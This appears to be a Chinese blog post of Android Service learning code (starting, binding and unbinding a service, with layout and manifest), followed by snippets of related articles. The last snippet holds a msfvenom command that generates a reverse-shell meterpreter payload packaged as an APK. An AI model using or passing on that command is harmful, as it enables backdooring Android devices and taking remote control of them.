1. startService(new Intent(MainActivity.this, MyService.class))------->stopService(new Intent(MainActivity.this, MyService.class))

2.bindService(new Intent(MainActivity.this, MyService.class), mServiceConnection,Context.BIND_AUTO_CREATE)---->

if(mServiceConnection != null){unbindService(mServiceConnection);mServiceConnection = null;
}----->一般放在onDestory()函数里面

MainActivity.java

private MyService myService;

 private ServiceConnection mServiceConnection = new ServiceConnection() {
@Override
public void onServiceConnected(ComponentName componentName, IBinder iBinder) {
Log.i("jxy",this.getClass().getName() + "--->onServiceConnected");
myService = ((MyService.MyBinder)iBinder).getService();
} @Override
public void onServiceDisconnected(ComponentName componentName) {
Log.i("jxy",this.getClass().getName() + "--->onServiceDisconnected");
}
}; @Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
} @Override
protected void onDestroy() {
super.onDestroy();
if(mServiceConnection != null){
unbindService(mServiceConnection);
mServiceConnection = null;
}
} public void startService(View view) {
startService(new Intent(MainActivity.this, MyService.class));
} public void stopService(View view) {
stopService(new Intent(MainActivity.this, MyService.class));
} public void bindService(View view) {
bindService(new Intent(MainActivity.this, MyService.class), mServiceConnection,
Context.BIND_AUTO_CREATE);
} public void mp3player(View view){
myService.mp3Play((String) view.getTag());
} MyService.java
class MyBinder extends Binder{
public MyService getService(){
return MyService.this;
}
}
@Override
public IBinder onBind(Intent intent) {
// Log.i("jxy",this.getClass().getName() + "--->onBind");
// Binder binder = new Binder();
// Log.i("jxy",this.getClass().getName() + "--->binder:" + binder);
return new MyBinder();
} @Override
public boolean onUnbind(Intent intent) {
Log.i("jxy",this.getClass().getName() + "--->onUnbind");
return super.onUnbind(intent);
} @Override
public void onCreate() {
super.onCreate();
Log.i("jxy",Thread.currentThread().getName() + ":MyService --> onCreate");
} @Override
public int onStartCommand(Intent intent, int flags, int startId) {
Log.i("jxy",Thread.currentThread().getName() + "MyService --> onStartCommand");
return super.onStartCommand(intent, flags, startId);
} @Override
public void onDestroy() {
super.onDestroy();
Log.i("jxy",Thread.currentThread().getName() + "MyService --> onDestroy");
} // 此方法完成MP3播放的功能
public void mp3Play(String name){
Log.i("jxy",this.getClass().getName() + "--->正在播放的歌曲名称为:" + name);
} activity.xml
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:orientation="vertical"
android:padding="16dp"> <Button
android:onClick="startService"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:text="启动服务" /> <Button
android:onClick="stopService"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:text="停止服务" />
<Button
android:onClick="bindService"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:text="绑定服务" />
<Button
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:text="解绑服务" /> <Button
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:text="调用系统服务挂断电话" /> <Button
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:text="测试黑名单拦截(调用系统服务)" /> <Button
android:tag="相信自己"
android:onClick="mp3player"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:text="音乐播放测试" /> </LinearLayout> Manifest.xml文件的service的注册
<service android:name=".MyService" />

												

Service的学习代码的更多相关文章

  1. 如何免费使用GPU跑深度学习代码

    从事深度学习的研究者都知道,深度学习代码需要设计海量的数据,需要很大很大很大(重要的事情说三遍)的计算量,以至于CPU算不过来,需要通过GPU帮忙,但这必不意味着CPU的性能没GPU强,CPU是那种综 ...

  2. java反射机制学习代码

    根据 http://www.iteye.com/topic/137944 文档进行学习 代码如下: package reflectTest; import java.lang.reflect.*; i ...

  3. 常用统计分析python包开源学习代码 numpy pandas matplotlib

    常用统计分析python包开源学习代码 numpy pandas matplotlib 待办 https://github.com/zmzhouXJTU/Python-Data-Analysis

  4. Web Service循序渐进学习

    1.Web service 是什么? (WebService 是可以通过互联网远程访问调用的应用程序,实现数据传输共享.这种应用程序理解为不同服务提供帮助.能够支撑实现应用程序发布访问的技术可以称为W ...

  5. swift2.0 字符串,数组,字典学习代码

    swift 2.0 改变了一些地方,让swift变得更加完善,这里是一些最基本的初学者的代码,里面涉及到swift学习的最基本的字符串,数组,字典和相关的操作.好了直接看代码吧. class View ...

  6. 420小时学习代码之后:如何教你免费自学Python

    原文地址:learning-to-code-420-hours-later-how-to-teach-yourself-python-for-free 说明:有些网址需要FQ. 大约在1.5年前,我开 ...

  7. WEB前端学习代码片段记录

    1.JS设计模式片段 Function.prototype.addMethod = function (name,fn) { this.prototype[name] = fn; return thi ...

  8. OpenCV学习代码记录——人脸检测

    很久之前学习过一段时间的OpenCV,当时没有做什么笔记,但是代码都还在,这里把它贴出来做个记录. 代码放在码云上,地址在这里https://gitee.com/solym/OpenCVTest/tr ...

  9. Service Fabric学习-从helloworld开始(无状态服务)

    原先做服务器程序, 都是部署在xx云上, 也没理解云是个啥, 不就是个服务器(虚拟机)租赁商吗? 好吧, 其实这个是IaaS, 而接下来要学习的ServiceFabric(以下简称SF)是PaaS. ...

随机推荐

  1. c#/vb调用c编写的标准dll

    准备: 首先打开vc++ 6.0新建工程,选择Win32 Dynamic Link-Library,命名为stdLibrary 新建library.cpp文件,内容如下 #include <st ...

  2. 【转】MEF程序设计指南一:在应用程序中宿主MEF

    在应用程序中宿主MEF其实非常简单,只需要创建一个组合容器对象(CompositionContainer)的实例,然后将需要组合的部件(Parts)和当前宿主程序添加到容器中即可.首先需要添加MEF框 ...

  3. Devexpress RichEditControl 导入word文件后字体变为方正姚体的解决方案

    最近在做一个排版软件,用过RichEditControl 导入外部Word文件的时候,发现导的文件后字体会变成“方正姚体”,官方这个BUG至少在V16.1版本尚未解决,翻阅了大量资料,发现 DevEx ...

  4. 大神真会玩~这组C4D动图,我都看了一整天!

    来自法国的Guillaume Kurkdjian 擅长创作一些平面动态图像 每张都诉说了一个小笑话或者小故事 像个极其微型的小电影. 这些动图的灵感可能来自某个交通工具 或是某个悠闲的时光 也可能是生 ...

  5. 另辟蹊径:vue单页面,多路由,前进刷新,后退不刷新

    目的:vue-cli构建的vue单页面应用,某些特定的页面,实现前进刷新,后退不刷新,类似app般的用户体验.注: 此处的刷新特指当进入此页面时,触发ajax请求,向服务器获取数据.不刷新特指当进入此 ...

  6. js 数组去重的三种方法(unique)

    方法一: Array.prototype.unique=function(){ var arr=[];//新建一个临时数组 for(var i=0;i<this.length;i++){//遍历 ...

  7. 《Linux多线程服务端编程——使用muduo C++网络库》读书笔记

    第一章 线程安全的对象生命期管理 第二章 线程同步精要 第三章 多线程服务器的适用场合与常用编程模型 第四章 C++多线程系统编程精要 1.(P84)11个常用的最基本Pthreads函数: 2个:线 ...

  8. 使用yum命令报错File "/usr/bin/yum", line 30 except KeyboardInterrupt, e:

    背景: yum包的管理是使用python写的,有对应的python版本   遇到的问题报错如下: File "/usr/bin/yum", line 30     except K ...

  9. $clog2(转)

    (转http://www.xilinx.com/support/answers/44586.html) 13.2 Verilog $clog2 function implemented imprope ...

  10. [可用]android hack

    msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.237 LPORT=4444 R > shell.apk service ...